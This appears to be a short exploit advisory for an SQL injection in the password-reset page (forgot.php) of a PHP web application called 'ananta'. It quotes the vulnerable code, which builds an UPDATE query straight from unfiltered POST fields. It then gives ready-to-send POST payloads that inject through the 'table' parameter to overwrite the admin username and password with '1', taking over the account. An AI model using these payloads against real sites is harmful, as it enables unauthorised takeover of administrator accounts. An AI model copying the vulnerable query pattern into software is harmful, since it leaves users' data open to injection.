Since you can't enter a special chars as the apex, and then we don't change the username and password in what we want, we will copy the value of a column with default value in column username and password. In fact we have: admin - username = 1 - password = 1 [+] Vulnerable Code(forgot.php): [CODE] if (!empty($_POST) && !isset($_POST["loginform"])) { // form submitted, set a new activation key for this user (however don't set the user to inactive, so no-one can block someone else's account $sql = "UPDATE ".$tableprefix.$_POST["table"]." SET "; if ($_POST["activate"] <> "") { $sql = $sql."activate='".$_POST["activate"]."'"; } $sql = $sql." WHERE email"."='".$_POST["email"]."'"; //no control if (mysql_query($sql)) { [/code] [+] default table users columns: number,name,pass,email,activate,active,admin,joindate,showemail [+] Risk: High [+] Vuln Page: www.site.it/ananta/forgot.php [+] Change admin username in "1" [POST-DATA] email=&save=Save&table=users SET name=active where number=1--&activate=lol&location=/ananta/forgot.php [+] Change admin password in "1" [POST-DATA] email=v&save=Save&table=users SET pass=md5(active) where number=1--&activate=lol&location=/ananta/forgot.php [+]...If You Really Want Something, You Can Have It...
